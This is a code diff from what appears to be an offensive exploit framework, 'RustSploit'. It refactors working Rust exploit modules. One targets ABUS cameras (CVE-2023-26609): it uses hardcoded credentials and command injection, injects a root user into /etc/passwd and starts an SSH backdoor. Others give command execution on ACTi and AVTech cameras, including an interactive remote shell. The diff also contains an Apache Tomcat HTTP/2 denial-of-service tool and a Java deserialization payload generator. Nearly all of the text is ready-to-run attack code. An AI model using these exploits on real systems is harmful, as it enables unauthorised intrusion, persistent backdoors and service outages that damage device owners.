println!("[*] Starting Dropbear SSH server...");
|
||||
println!("{}", "[*] Stage 3: Starting Dropbear SSH server...".yellow());
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
@@ -89,58 +97,100 @@ async fn persist_root_shell(client: &Client, target: &str, password: &str) -> Re
|
||||
generate_ssh_key(client, target).await?;
|
||||
inject_root_user(client, target, password).await?;
|
||||
start_dropbear(client, target).await?;
|
||||
println!("[+] Persistence complete! You can now SSH in with:");
|
||||
println!("{}", "[+] Persistence complete! You can now SSH in with:".green().bold());
|
||||
println!(
|
||||
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\
|
||||
-oHostKeyAlgorithms=+ssh-rsa d1g@{}",
|
||||
password, target
|
||||
"{}",
|
||||
format!(
|
||||
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\\n -oHostKeyAlgorithms=+ssh-rsa d1g@{}",
|
||||
password, target
|
||||
).cyan()
|
||||
);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ ABUS Security Camera TVIP 20000-21150 Exploit ║".cyan());
|
||||
println!("{}", "║ CVE-2023-26609 - LFI, RCE and SSH Root Access ║".cyan());
|
||||
println!("{}", "║ Variant 1 - Multi-mode (LFI/RCE/Persistence) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// Prompt user for mode, and dispatch accordingly
|
||||
async fn execute(target: &str) -> Result<()> {
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
println!("[*] Exploit mode selection for target: {}", target);
|
||||
println!(" [1] LFI");
|
||||
println!(" [2] RCE");
|
||||
println!(" [3] SSH Persistence");
|
||||
print!("> ");
|
||||
io::stdout().flush()?;
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
println!("{}", "[*] Exploit mode selection:".cyan().bold());
|
||||
println!(" {} LFI (Local File Inclusion)", "[1]".green());
|
||||
println!(" {} RCE (Remote Code Execution)", "[2]".green());
|
||||
println!(" {} SSH Persistence (Full Compromise)", "[3]".green());
|
||||
print!("{}", "> ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
|
||||
let mut choice = String::new();
|
||||
io::stdin().read_line(&mut choice)?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut choice)
|
||||
.await
|
||||
.context("Failed to read choice")?;
|
||||
match choice.trim() {
|
||||
"1" => {
|
||||
print!("Enter file path to read (e.g. /etc/passwd): ");
|
||||
io::stdout().flush()?;
|
||||
print!("{}", "Enter file path to read (e.g. /etc/passwd): ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut fp = String::new();
|
||||
io::stdin().read_line(&mut fp)?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut fp)
|
||||
.await
|
||||
.context("Failed to read file path")?;
|
||||
exploit_lfi(&client, target, fp.trim()).await?;
|
||||
}
|
||||
"2" => {
|
||||
print!("Enter command to execute (e.g. id): ");
|
||||
io::stdout().flush()?;
|
||||
print!("{}", "Enter command to execute (e.g. id): ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut cmd = String::new();
|
||||
io::stdin().read_line(&mut cmd)?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut cmd)
|
||||
.await
|
||||
.context("Failed to read command")?;
|
||||
exploit_rce(&client, target, cmd.trim()).await?;
|
||||
}
|
||||
"3" => {
|
||||
// Ask for the desired password, hash it, and persist
|
||||
print!("Enter desired password for new root user: ");
|
||||
io::stdout().flush()?;
|
||||
print!("{}", "Enter desired password for new root user: ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut pwd = String::new();
|
||||
io::stdin().read_line(&mut pwd)?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut pwd)
|
||||
.await
|
||||
.context("Failed to read password")?;
|
||||
let pwd = pwd.trim();
|
||||
if pwd.is_empty() {
|
||||
return Err(anyhow!("Password cannot be empty"));
|
||||
}
|
||||
persist_root_shell(&client, target, pwd).await?;
|
||||
}
|
||||
_ => return Err(anyhow!("Invalid choice")),
|
||||
_ => {
|
||||
println!("{}", "[-] Invalid choice".red());
|
||||
return Err(anyhow!("Invalid choice"));
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
@@ -149,5 +199,4 @@ async fn execute(target: &str) -> Result<()> {
|
||||
/// Entry point for the RustSploit dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
execute(target).await
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,49 +1,40 @@
|
||||
use anyhow::Result;
|
||||
use reqwest::Client;
|
||||
use std::io::{self, Write};
|
||||
use md5;
|
||||
// Exploit Title: ABUS Security Camera TVIP 20000-21150 - SSH Root Persistence
|
||||
// CVE: CVE-2023-26609
|
||||
// Variant 2 - Dropbear SSH Persistence with custom username
|
||||
|
||||
/// Normalize IPv6 targets, collapsing any number of outer brackets
|
||||
/// and preserving an explicit port if one was given as `[...] : port`.
|
||||
fn normalize_target(raw: &str) -> String {
|
||||
// Case: bracketed IPv6 with port, e.g. "[[::1]]:8080"
|
||||
if raw.contains("]:") {
|
||||
if let Some(idx) = raw.rfind("]:") {
|
||||
let addr_raw = &raw[..idx];
|
||||
let port = &raw[idx + 2..];
|
||||
// strip ALL brackets from the address portion
|
||||
let addr_inner = addr_raw
|
||||
.trim_start_matches('[')
|
||||
.trim_end_matches(']')
|
||||
.to_string();
|
||||
return format!("[{}]:{}", addr_inner, port);
|
||||
}
|
||||
}
|
||||
// Otherwise, remove any outer brackets entirely...
|
||||
let inner = raw
|
||||
.trim_start_matches('[')
|
||||
.trim_end_matches(']')
|
||||
.to_string();
|
||||
// ...and only re-wrap in brackets if it's a bare IPv6 (contains a colon).
|
||||
if inner.contains(':') {
|
||||
format!("[{}]", inner)
|
||||
} else {
|
||||
inner
|
||||
}
|
||||
}
|
||||
use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use crate::utils::normalize_target;
|
||||
use md5;
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
// Use framework's normalize_target utility - removed custom implementation
|
||||
|
||||
/// Send a command using the vulnerable RCE endpoint
|
||||
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
|
||||
let normalized = normalize_target(target);
|
||||
let normalized = normalize_target(target)?;
|
||||
let url = format!(
|
||||
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=inject;{}",
|
||||
normalized, cmd
|
||||
);
|
||||
println!("[*] Sending RCE payload: {}", cmd);
|
||||
println!("{}", format!("[*] Sending RCE payload: {}", cmd).cyan());
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
println!("[+] Status: {}", resp.status());
|
||||
println!("[+] Response:\n{}", resp.text().await?);
|
||||
let status = resp.status();
|
||||
let body = resp.text().await?;
|
||||
|
||||
if status.is_success() {
|
||||
println!("{}", format!("[+] Status: {}", status).green());
|
||||
println!("{}", "[+] Response:".green());
|
||||
println!("{}", body);
|
||||
} else {
|
||||
println!("{}", format!("[-] Status: {}", status).red());
|
||||
println!("{}", format!("[-] Response:\n{}", body).red());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -51,7 +42,7 @@ async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
|
||||
/// Generate Dropbear SSH keys on the target system
|
||||
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
|
||||
println!("[*] Generating Dropbear SSH key...");
|
||||
println!("{}", "[*] Stage 1: Generating Dropbear SSH key...".yellow());
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
@@ -61,14 +52,14 @@ async fn inject_root_user(client: &Client, target: &str, user: &str, hash: &str)
|
||||
"echo%20{}:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
|
||||
user, hash
|
||||
);
|
||||
println!("[*] Injecting user '{}' with root privileges...", user);
|
||||
println!("{}", format!("[*] Stage 2: Injecting user '{}' with root privileges...", user).yellow());
|
||||
exploit_rce(client, target, &payload).await
|
||||
}
|
||||
|
||||
/// Start Dropbear SSH daemon
|
||||
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
|
||||
println!("[*] Starting Dropbear SSH daemon...");
|
||||
println!("{}", "[*] Stage 3: Starting Dropbear SSH daemon...".yellow());
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
@@ -78,40 +69,78 @@ fn generate_md5_hash(password: &str) -> String {
|
||||
format!("{:x}", digest)
|
||||
}
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ ABUS Security Camera TVIP 20000-21150 Exploit ║".cyan());
|
||||
println!("{}", "║ CVE-2023-26609 - Dropbear SSH Persistence ║".cyan());
|
||||
println!("{}", "║ Variant 2 - Custom Username SSH Root Access ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// Main interactive flow: get user/pass, hash it, and inject persistence
|
||||
async fn execute_flow(target: &str) -> Result<()> {
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
println!("[*] Dropbear SSH persistence for target: {}", target);
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
|
||||
print!("Enter username to inject: ");
|
||||
io::stdout().flush()?;
|
||||
print!("{}", "Enter username to inject: ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut user = String::new();
|
||||
io::stdin().read_line(&mut user)?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut user)
|
||||
.await
|
||||
.context("Failed to read username")?;
|
||||
let user = user.trim();
|
||||
|
||||
print!("Enter password (will be hashed): ");
|
||||
io::stdout().flush()?;
|
||||
if user.is_empty() {
|
||||
println!("{}", "[-] Username cannot be empty".red());
|
||||
return Err(anyhow::anyhow!("Username cannot be empty"));
|
||||
}
|
||||
|
||||
print!("{}", "Enter password (will be hashed): ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut pass = String::new();
|
||||
io::stdin().read_line(&mut pass)?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut pass)
|
||||
.await
|
||||
.context("Failed to read password")?;
|
||||
let pass = pass.trim();
|
||||
|
||||
if pass.is_empty() {
|
||||
println!("{}", "[-] Password cannot be empty".red());
|
||||
return Err(anyhow::anyhow!("Password cannot be empty"));
|
||||
}
|
||||
|
||||
// Hash it!
|
||||
let hash = generate_md5_hash(pass);
|
||||
println!("[*] Generated MD5 hash: {}", hash);
|
||||
println!("{}", format!("[*] Generated MD5 hash: {}", hash).cyan());
|
||||
println!();
|
||||
|
||||
// Run each step
|
||||
generate_ssh_key(&client, target).await?;
|
||||
inject_root_user(&client, target, user, &hash).await?;
|
||||
start_dropbear(&client, target).await?;
|
||||
|
||||
println!("\n[+] Done. Try connecting with:");
|
||||
println!();
|
||||
println!("{}", "[+] Persistence complete! You can now SSH in with:".green().bold());
|
||||
println!(
|
||||
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \
|
||||
-oHostKeyAlgorithms=+ssh-rsa {}@{}",
|
||||
pass, user, target
|
||||
"{}",
|
||||
format!(
|
||||
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\\n -oHostKeyAlgorithms=+ssh-rsa {}@{}",
|
||||
pass, user, target
|
||||
).cyan()
|
||||
);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -1,41 +1,84 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
|
||||
/// // Executes an RCE on ACTi ACM-5611 Video Camera using command injection
|
||||
/// // Reference:
|
||||
/// // - https://www.exploitalert.com/view-details.html?id=34128
|
||||
/// // - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html
|
||||
/// Executes an RCE on ACTi ACM-5611 Video Camera using command injection
|
||||
/// Reference:
|
||||
/// - https://www.exploitalert.com/view-details.html?id=34128
|
||||
/// - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html
|
||||
|
||||
/// // Exploit authors:
|
||||
/// // - Todor Donev <todor.donev@gmail.com>
|
||||
/// // - GH0st3rs (RouterSploit module)
|
||||
/// Exploit authors:
|
||||
/// - Todor Donev <todor.donev@gmail.com>
|
||||
/// - GH0st3rs (RouterSploit module)
|
||||
|
||||
const DEFAULT_PORT: u16 = 8080;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ ACTi ACM-5611 Video Camera RCE Exploit ║".cyan());
|
||||
println!("{}", "║ Command Injection via /cgi-bin/test ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let port = 8080; // // Default port
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
|
||||
// Prompt for port
|
||||
print!("{}", format!("Enter target port (default {}): ", DEFAULT_PORT).cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut port_input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut port_input)
|
||||
.await
|
||||
.context("Failed to read port input")?;
|
||||
let port: u16 = port_input.trim().parse().unwrap_or(DEFAULT_PORT);
|
||||
|
||||
println!("{}", format!("[*] Checking vulnerability on {}:{}...", target, port).yellow());
|
||||
|
||||
if check(target, port).await? {
|
||||
println!("[+] Target seems vulnerable: {}:{}", target, port);
|
||||
println!("{}", format!("[+] Target appears vulnerable: {}:{}", target, port).green().bold());
|
||||
|
||||
// // Simulated shell command execution
|
||||
let cmd = "id"; // // You can change this to any test command
|
||||
// Prompt for command to execute
|
||||
print!("{}", "Enter command to execute (default: id): ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut cmd_input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut cmd_input)
|
||||
.await
|
||||
.context("Failed to read command input")?;
|
||||
let cmd = {
|
||||
let t = cmd_input.trim();
|
||||
if t.is_empty() { "id" } else { t }
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Executing command: {}", cmd).cyan());
|
||||
let output = execute(target, port, cmd).await?;
|
||||
println!("[+] Executed '{}':\n{}", cmd, output);
|
||||
|
||||
// // You can extend this to implement full shell injection
|
||||
// // shell(arch="armle", method="wget", location="/var/", exec_binary=...)
|
||||
println!("{}", format!("[+] Output:\n{}", output).green());
|
||||
} else {
|
||||
println!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port);
|
||||
println!("{}", format!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port).red());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Perform a command injection via GET /cgi-bin/test?iperf=;<cmd>
|
||||
/// Perform a command injection via GET /cgi-bin/test?iperf=;<cmd>
|
||||
async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
|
||||
let url = format!("http://{}:{}/cgi-bin/test", target, port);
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(5))
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()?;
|
||||
|
||||
let res = client
|
||||
@@ -54,22 +97,25 @@ async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
|
||||
}
|
||||
}
|
||||
|
||||
/// // Check if the target is running the vulnerable service
|
||||
/// Check if the target is running the vulnerable service
|
||||
async fn check(target: &str, port: u16) -> Result<bool> {
|
||||
let url = format!("http://{}:{}/cgi-bin/test", target, port);
|
||||
let index_url = format!("http://{}:{}/", target, port);
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(5))
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()?;
|
||||
|
||||
// // Check /cgi-bin/test
|
||||
// Check /cgi-bin/test
|
||||
let test_res = client.get(&url).send().await?;
|
||||
if test_res.status().is_success() {
|
||||
// // Check root page contains 'Web Configurator'
|
||||
println!("{}", "[*] CGI endpoint accessible".cyan());
|
||||
// Check root page contains 'Web Configurator'
|
||||
let index_res = client.get(&index_url).send().await?;
|
||||
if index_res.status().is_success() {
|
||||
let body = index_res.text().await?;
|
||||
if body.contains("Web Configurator") {
|
||||
println!("{}", "[*] ACTi Web Configurator detected".cyan());
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,11 +2,11 @@ use anyhow::{anyhow, bail, Result};
|
||||
use colored::*;
|
||||
use rand::Rng;
|
||||
use reqwest::{ClientBuilder};
|
||||
use std::io::{self, Write};
|
||||
use std::net::{TcpStream, ToSocketAddrs};
|
||||
use std::time::Duration;
|
||||
use tokio::time::sleep;
|
||||
use rand::prelude::IndexedRandom;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
|
||||
/// TomcatKiller - CVE-2025-31650
|
||||
/// Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers
|
||||
@@ -16,7 +16,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers.");
|
||||
println!("{}", "Warning: For authorized testing only. Ensure HTTP/2 and vulnerable Tomcat version.".yellow());
|
||||
|
||||
let port = prompt_for_port().unwrap_or(443);
|
||||
let port = prompt_for_port().await.unwrap_or(443);
|
||||
let normalized = if target.starts_with("http://") || target.starts_with("https://") {
|
||||
target.to_string()
|
||||
} else {
|
||||
@@ -67,12 +67,18 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn prompt_for_port() -> Option<u16> {
|
||||
async fn prompt_for_port() -> Option<u16> {
|
||||
print!("{}", "Enter target port (default 443): ".cyan());
|
||||
io::stdout().flush().ok()?;
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.ok()?;
|
||||
|
||||
let mut buffer = String::new();
|
||||
io::stdin().read_line(&mut buffer).ok()?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut buffer)
|
||||
.await
|
||||
.ok()?;
|
||||
|
||||
let trimmed = buffer.trim();
|
||||
if trimmed.is_empty() {
|
||||
@@ -135,7 +141,9 @@ async fn send_invalid_priority_requests(host: String, port: u16, count: usize, t
|
||||
let url = format!("https://{}:{}/", host, port);
|
||||
|
||||
for _ in 0..count {
|
||||
let prio = priorities.choose(&mut rand::rng()).unwrap().to_string();
|
||||
let prio = priorities.choose(&mut rand::rng())
|
||||
.map(|s| s.to_string())
|
||||
.unwrap_or_else(|| "u=0".to_string());
|
||||
let headers = [
|
||||
("priority", prio),
|
||||
("user-agent", format!("TomcatKiller-{}-{}", task_id, rand::rng().random::<u32>())),
|
||||
|
||||
@@ -1,11 +1,12 @@
|
||||
use anyhow::{bail, Result};
|
||||
use anyhow::{bail, Context, Result};
|
||||
use crate::utils::validate_command_input;
|
||||
use regex::Regex;
|
||||
use reqwest::{Client, StatusCode};
|
||||
use std::io::{self, Write};
|
||||
use std::path::Path;
|
||||
use std::process::{Command, Stdio};
|
||||
use std::time::Duration;
|
||||
use tokio::fs::{read, remove_file};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
|
||||
const BANNER: &str = r#"
|
||||
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗
|
||||
@@ -26,17 +27,23 @@ fn sanitize_target(raw: &str) -> String {
|
||||
}
|
||||
}
|
||||
|
||||
/// // Prompt helper
|
||||
fn prompt(message: &str, default: Option<&str>) -> String {
|
||||
/// Prompt helper with proper error handling
|
||||
async fn prompt(message: &str, default: Option<&str>) -> Result<String> {
|
||||
print!("{}{}: ", message, default.map_or("".to_string(), |d| format!(" [{}]", d)));
|
||||
io::stdout().flush().unwrap();
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut buf = String::new();
|
||||
io::stdin().read_line(&mut buf).unwrap();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut buf)
|
||||
.await
|
||||
.context("Failed to read user input")?;
|
||||
let input = buf.trim();
|
||||
if input.is_empty() {
|
||||
default.unwrap_or("").to_string()
|
||||
Ok(default.unwrap_or("").to_string())
|
||||
} else {
|
||||
input.to_string()
|
||||
Ok(input.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
@@ -64,6 +71,7 @@ async fn check_writable_servlet(client: &Client, target_url: &str, host: &str, p
|
||||
|
||||
/// // Generate a raw Java payload JAR via `javac` and `jar`
|
||||
fn generate_java_payload(command: &str, payload_file: &str) -> Result<()> {
|
||||
// Command is already validated before calling this function
|
||||
let payload_java = format!(
|
||||
r#"
|
||||
import java.io.IOException;
|
||||
@@ -205,7 +213,15 @@ async fn execute_exploit(
|
||||
payload_type: &str,
|
||||
verify_ssl: bool,
|
||||
) -> Result<()> {
|
||||
let host = target_url.split("://").nth(1).unwrap_or(target_url).trim_matches('/').split(':').next().unwrap();
|
||||
// Extract host from URL safely
|
||||
let host = target_url
|
||||
.split("://")
|
||||
.nth(1)
|
||||
.unwrap_or(target_url)
|
||||
.trim_matches('/')
|
||||
.split(':')
|
||||
.next()
|
||||
.ok_or_else(|| anyhow::anyhow!("Failed to extract host from URL: {}", target_url))?;
|
||||
let client = Client::builder().danger_accept_invalid_certs(!verify_ssl).build()?;
|
||||
let session_id = get_session_id(&client, target_url).await?;
|
||||
|
||||
@@ -213,10 +229,14 @@ async fn execute_exploit(
|
||||
|
||||
if check_writable_servlet(&client, target_url, host, port).await? {
|
||||
let payload_file = "payload.ser";
|
||||
|
||||
// Validate command input to prevent injection
|
||||
let validated_command = validate_command_input(command)
|
||||
.map_err(|e| anyhow::anyhow!("Invalid command: {}", e))?;
|
||||
|
||||
match payload_type {
|
||||
"java" => generate_java_payload(command, payload_file)?,
|
||||
"ysoserial" => generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file)?,
|
||||
"java" => generate_java_payload(&validated_command, payload_file)?,
|
||||
"ysoserial" => generate_ysoserial_payload(&validated_command, ysoserial_path, gadget, payload_file)?,
|
||||
_ => bail!("[-] Invalid payload type: {}", payload_type),
|
||||
}
|
||||
|
||||
@@ -240,7 +260,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[+] Target sanitized: {}", target);
|
||||
|
||||
let mut command = String::from("calc.exe");
|
||||
let mut port = prompt("Enter port (default 8080)", Some("8080"));
|
||||
let mut port = prompt("Enter port (default 8080)", Some("8080")).await?;
|
||||
println!("[+] Default port set to {}", port);
|
||||
|
||||
let mut ysoserial_path = String::from("ysoserial.jar");
|
||||
@@ -264,30 +284,30 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
"#
|
||||
);
|
||||
|
||||
let selection = prompt("Select an option", None);
|
||||
let selection = prompt("Select an option", None).await?;
|
||||
match selection.as_str() {
|
||||
"1" => {
|
||||
target = prompt("Enter target URL", Some(&target));
|
||||
target = prompt("Enter target URL", Some(&target)).await?;
|
||||
println!("[+] Target updated: {target}");
|
||||
}
|
||||
"2" => {
|
||||
command = prompt("Enter command to execute", Some(&command));
|
||||
command = prompt("Enter command to execute", Some(&command)).await?;
|
||||
println!("[+] Command set: {command}");
|
||||
}
|
||||
"3" => {
|
||||
port = prompt("Enter port", Some(&port));
|
||||
port = prompt("Enter port", Some(&port)).await?;
|
||||
println!("[+] Port set: {port}");
|
||||
}
|
||||
"4" => {
|
||||
ysoserial_path = prompt("Path to ysoserial.jar", Some(&ysoserial_path));
|
||||
ysoserial_path = prompt("Path to ysoserial.jar", Some(&ysoserial_path)).await?;
|
||||
println!("[+] ysoserial path set: {ysoserial_path}");
|
||||
}
|
||||
"5" => {
|
||||
gadget = prompt("Enter gadget", Some(&gadget));
|
||||
gadget = prompt("Enter gadget", Some(&gadget)).await?;
|
||||
println!("[+] Gadget set: {gadget}");
|
||||
}
|
||||
"6" => {
|
||||
payload_type = prompt("Payload type (ysoserial/java)", Some(&payload_type));
|
||||
payload_type = prompt("Payload type (ysoserial/java)", Some(&payload_type)).await?;
|
||||
if payload_type != "ysoserial" && payload_type != "java" {
|
||||
println!("[-] Invalid type. Only 'ysoserial' or 'java' supported.");
|
||||
payload_type = "ysoserial".into();
|
||||
|
||||
@@ -1,9 +1,20 @@
|
||||
use anyhow::Result;
|
||||
use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::io::{self, Write};
|
||||
use std::path::Path;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncBufReadExt, BufReader};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
|
||||
const DEFAULT_PORT: &str = "80";
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ AVTech Camera CVE-2024-7029 RCE Exploit ║".cyan());
|
||||
println!("{}", "║ Command Injection via brightness parameter ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// // Ensures the target string has a scheme (http://) and includes port
|
||||
fn normalize_url(ip: &str, port: &str) -> String {
|
||||
@@ -23,8 +34,9 @@ fn normalize_url(ip: &str, port: &str) -> String {
|
||||
}
|
||||
}
|
||||
|
||||
/// // Check if the device is vulnerable to CVE-2024-7029
|
||||
/// Check if the device is vulnerable to CVE-2024-7029
|
||||
async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
|
||||
println!("{}", "[*] Checking vulnerability...".cyan());
|
||||
let mut url = reqwest::Url::parse(base)?;
|
||||
url.set_path("/cgi-bin/supervisor/Factory.cgi");
|
||||
url.query_pairs_mut()
|
||||
@@ -35,22 +47,30 @@ async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
|
||||
Ok(body.contains("echo_CVE7029"))
|
||||
}
|
||||
|
||||
/// // Interactive shell to send arbitrary commands
|
||||
/// Interactive shell to send arbitrary commands
|
||||
async fn interactive_shell(client: &Client, base: &str) -> Result<()> {
|
||||
let stdin = tokio::io::stdin();
|
||||
let mut lines = BufReader::new(stdin).lines();
|
||||
let mut lines = tokio::io::BufReader::new(stdin).lines();
|
||||
|
||||
println!("{}", "[+] Interactive shell started. Type 'exit' to quit.".green().bold());
|
||||
loop {
|
||||
print!("cve7029-shell> ");
|
||||
io::stdout().flush()?;
|
||||
print!("{}", "cve7029-shell> ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
if let Some(cmd) = lines.next_line().await? {
|
||||
let cmd = cmd.trim();
|
||||
if cmd.eq_ignore_ascii_case("exit") {
|
||||
println!("{}", "[*] Exiting shell...".yellow());
|
||||
break;
|
||||
}
|
||||
if cmd.is_empty() {
|
||||
continue;
|
||||
}
|
||||
match exec_cmd(client, base, cmd).await {
|
||||
Ok(out) => println!("{}", out),
|
||||
Err(e) => eprintln!("Error: {}", e),
|
||||
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
|
||||
}
|
||||
} else {
|
||||
break;
|
||||
@@ -61,9 +81,13 @@ async fn interactive_shell(client: &Client, base: &str) -> Result<()> {
|
||||
|
||||
/// // Execute a remote command by abusing the brightness parameter
|
||||
